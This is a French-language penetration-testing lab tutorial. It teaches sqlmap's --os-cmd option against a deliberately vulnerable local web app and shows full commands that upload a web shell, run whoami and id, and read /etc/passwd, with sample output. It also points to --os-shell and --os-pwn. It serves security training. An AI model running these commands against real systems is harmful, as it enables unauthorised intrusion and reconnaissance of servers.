Introduction
Dans ce laboratoire, vous allez explorer la puissante capacité de sqlmap à exécuter des commandes du système d'exploitation sur un serveur cible. Cette fonctionnalité est particulièrement utile dans les scénarios de tests d'intrusion où vous avez identifié une vulnérabilité d'injection SQL et souhaitez compromettre davantage le système sous-jacent. Vous apprendrez à utiliser l'option --os-cmd, à analyser la sortie et à comprendre les limites de cette technique.
Confirmation des prérequis pour l'exécution de commandes OS
Dans cette étape, vous vous assurerez que sqlmap est installé et que vous avez une compréhension de base de la manière d'identifier une vulnérabilité d'injection SQL. L'exécution de commandes OS via sqlmap repose généralement sur la capacité à écrire des fichiers sur le système cible (par exemple, un web shell) ou à exploiter des fonctions de base de données spécifiques qui permettent l'exécution de commandes.
Tout d'abord, vérifiez que sqlmap est installé sur votre système. Ouvrez un terminal et tapez :
sqlmap --version
Vous devriez voir une sortie similaire à celle-ci, indiquant la version de sqlmap installée :
sqlmap version 1.x.x.x ## Remplacez x.x.x.x par la version réelle
Ensuite, nous utiliserons sqlmap pour détecter une vulnérabilité d'injection SQL sur une application web locale factice. Cette application est configurée pour être vulnérable à l'injection SQL.
sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --batch --risk=3 --level=3
L'option --batch indique à sqlmap de s'exécuter en mode non interactif, en acceptant les choix par défaut. --risk=3 et --level=3 augmentent la profondeur des tests effectués par sqlmap, ce qui est souvent nécessaire pour trouver des vulnérabilités plus complexes, y compris celles qui pourraient permettre l'exécution de commandes OS.
Après avoir exécuté la commande, sqlmap effectuera divers tests. Recherchez une sortie indiquant qu'une vulnérabilité d'injection SQL a été détectée. Vous pourriez voir des lignes similaires à :
---
[INFO] testing connection to the target URL
[INFO] checking if the target is stable
[INFO] target URL is stable
[INFO] testing if GET parameter 'id' is vulnerable to SQL injection
...
[INFO] GET parameter 'id' is vulnerable.
...
---
Cela confirme que sqlmap a réussi à identifier une vulnérabilité d'injection SQL, ce qui est un prérequis pour tenter l'exécution de commandes OS.
Utilisation de l'option --os-cmd pour une commande unique
Dans cette étape, vous apprendrez à utiliser l'option --os-cmd dans sqlmap pour exécuter une seule commande du système d'exploitation sur le serveur cible. Cette option est utilisée lorsque sqlmap a identifié un moyen d'exécuter des commandes, généralement en téléchargeant un web shell ou en exploitant des fonctions spécifiques à la base de données.
La syntaxe de base pour utiliser --os-cmd est la suivante :
sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --os-cmd="<command>" --batch
Remplacez <command> par la commande OS réelle que vous souhaitez exécuter. sqlmap tentera d'exécuter cette commande et retournera sa sortie.
Essayons d'exécuter une commande simple comme ls pour lister les fichiers dans le répertoire courant où l'application web s'exécute.
sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --os-cmd="ls" --batch
sqlmap procédera alors à :
- Détection de la vulnérabilité d'injection SQL.
- Tentative de trouver une technique appropriée pour l'exécution de commandes OS (par exemple, en téléchargeant un web shell).
- Exécution de la commande
ls. - Récupération et affichage de la sortie de la commande.
Vous verrez divers messages de sqlmap indiquant sa progression, tels que :
...
[INFO] trying to upload a web shell for OS command execution
[INFO] web shell uploaded to '/tmp/web_app/tmpbxxxx.php'
[INFO] executing OS command 'ls'
...
La sortie de la commande ls sera affichée par sqlmap après son exécution réussie. Cela démontre la capacité à exécuter des commandes arbitraires sur le serveur.
Exécution d'une commande simple comme whoami ou id
Dans cette étape, vous exécuterez des commandes Linux courantes comme whoami et id pour collecter des informations sur le contexte utilisateur et groupe sous lequel le processus du serveur web s'exécute. Ces informations sont cruciales pour comprendre les privilèges dont vous disposez sur le système compromis.
Tout d'abord, exécutons la commande whoami :
sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --os-cmd="whoami" --batch
Une fois que sqlmap aura terminé, il affichera la sortie de la commande whoami. Il s'agira généralement du nom d'utilisateur sous lequel le serveur web (par exemple, www-data, apache, ou labex dans notre environnement de laboratoire) s'exécute.
...
[INFO] retrieved OS command output:
labex
...
Ensuite, exécutez la commande id. Cette commande fournit des informations plus détaillées, notamment l'identifiant utilisateur (UID), l'identifiant de groupe (GID) et tous les groupes auxquels l'utilisateur appartient.
sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --os-cmd="id" --batch
La sortie de la commande id ressemblera à ceci :
...
[INFO] retrieved OS command output:
uid=1000(labex) gid=1000(labex) groups=1000(labex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
...
L'analyse de cette sortie vous aide à comprendre les permissions qui vous sont disponibles. Par exemple, si l'utilisateur fait partie du groupe sudo, il pourrait être possible d'escalader les privilèges.
Analyse de la sortie de commande retournée par sqlmap
Dans cette étape, vous vous concentrerez sur la manière dont sqlmap présente la sortie des commandes OS exécutées et sur ce qu'il faut rechercher. sqlmap récupère la sortie de la commande à partir du web shell qu'il télécharge (ou d'autres méthodes d'exécution) et l'affiche dans sa console.
Lorsque vous exécutez une commande à l'aide de --os-cmd, sqlmap affichera généralement une ligne similaire à :
[INFO] retrieved OS command output:
Suivie de la sortie réelle de la commande. Par exemple, si vous avez exécuté ls -l /tmp, la sortie pourrait ressembler à ceci :
[INFO] retrieved OS command output:
total 8
-rw-r--r-- 1 labex labex 1234 Jan 1 10:00 somefile.txt
drwxr-xr-x 2 labex labex 4096 Jan 1 10:05 somedir
Il est important de lire attentivement cette sortie. Elle fournit des informations directes sur le système cible. Par exemple :
- Listes de fichiers (
ls,dir) : Révèlent les structures de répertoires, les noms de fichiers et les permissions. - Informations système (
uname -a,cat /etc/os-release) : Fournissent des détails sur le système d'exploitation, la version du noyau et la distribution. - Configuration réseau (
ip a,ifconfig) : Affichent les interfaces réseau, les adresses IP et les configurations réseau. - Listes de processus (
ps aux) : Listent les processus en cours d'exécution, ce qui peut indiquer d'autres services ou applications.
Envisagez d'exécuter cat /etc/passwd pour voir si vous pouvez récupérer des fichiers système sensibles.
sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --os-cmd="cat /etc/passwd" --batch
Vous verrez le contenu du fichier /etc/passwd dans la sortie de sqlmap. Ce fichier contient des informations sur les comptes utilisateurs et est une cible courante pour la reconnaissance.
...
[INFO] retrieved OS command output:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
labex:x:1000:1000:LabEx User,,,:/home/labex:/bin/zsh
...
L'analyse de cette sortie vous aide à identifier les utilisateurs potentiels, leurs répertoires personnels et leurs shells par défaut, ce qui peut être utile pour une exploitation ultérieure.
Comprendre les limitations de l'exécution de commandes non interactives
Dans cette étape, vous comprendrez les limitations inhérentes à l'exécution de commandes OS via le drapeau --os-cmd de sqlmap, en particulier sa nature non interactive.
Le drapeau --os-cmd exécute une seule commande et retourne sa sortie. Il ne fournit pas de shell interactif (comme une session SSH ou de terminal typique). Cela signifie :
- Pas de session persistante : Chaque exécution de
--os-cmdest une nouvelle requête indépendante. Vous ne pouvez pas exécuter une commande, puis utiliser sa sortie pour informer la commande suivante dans la même "session". - Pas de programmes interactifs : Vous ne pouvez pas exécuter de programmes qui nécessitent une entrée utilisateur ou une interaction continue (par exemple,
nano,vi,top,passwd). - Opérations complexes limitées : Le chaînage de commandes avec des pipes (
|) ou des points-virgules (;) est possible, mais la gestion de flux de travail complexes ou de logique conditionnelle devient fastidieuse. Par exemple,ls -l /tmp | grep "file"fonctionnerait, mais un script en plusieurs étapes nécessitant une interaction utilisateur ne fonctionnerait pas. - Gestion des erreurs : Les erreurs sont généralement retournées dans le cadre de la sortie de la commande, mais le débogage de problèmes complexes peut être difficile sans un shell interactif.
Pour surmonter ces limitations, les testeurs d'intrusion utilisent souvent --os-shell ou --os-pwn dans sqlmap (si pris en charge par la base de données sous-jacente et la configuration du serveur web). Ces drapeaux tentent d'établir un shell semi-interactif ou entièrement interactif, permettant des opérations plus complexes. Cependant, --os-cmd est utile pour la reconnaissance rapide ou l'exécution de commandes uniques et atomiques.
Par exemple, essayez d'exécuter une commande qui nécessiterait normalement une interaction, comme nano.
sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --os-cmd="nano" --batch
Vous verrez probablement une erreur ou aucune sortie significative, car nano attend un terminal et une entrée utilisateur, ce que sqlmap ne peut pas fournir dans ce mode non interactif.
...
[INFO] retrieved OS command output:
Error opening terminal: unknown.
...
Cela démontre que, bien que puissant pour les commandes uniques, --os-cmd ne remplace pas un shell interactif complet.
Résumé
Dans ce laboratoire, vous avez appris avec succès à exécuter des commandes du système d'exploitation sur un serveur cible en utilisant le drapeau --os-cmd de sqlmap. Vous avez commencé par confirmer les prérequis, puis vous vous êtes entraîné à exécuter des commandes simples comme ls, whoami, id et cat /etc/passwd. Vous avez également acquis une compréhension de la manière d'analyser la sortie des commandes retournée par sqlmap et, surtout, vous avez reconnu les limitations de l'exécution de commandes non interactives. Cette compétence est fondamentale pour les phases de post-exploitation dans les tests d'intrusion d'applications web.


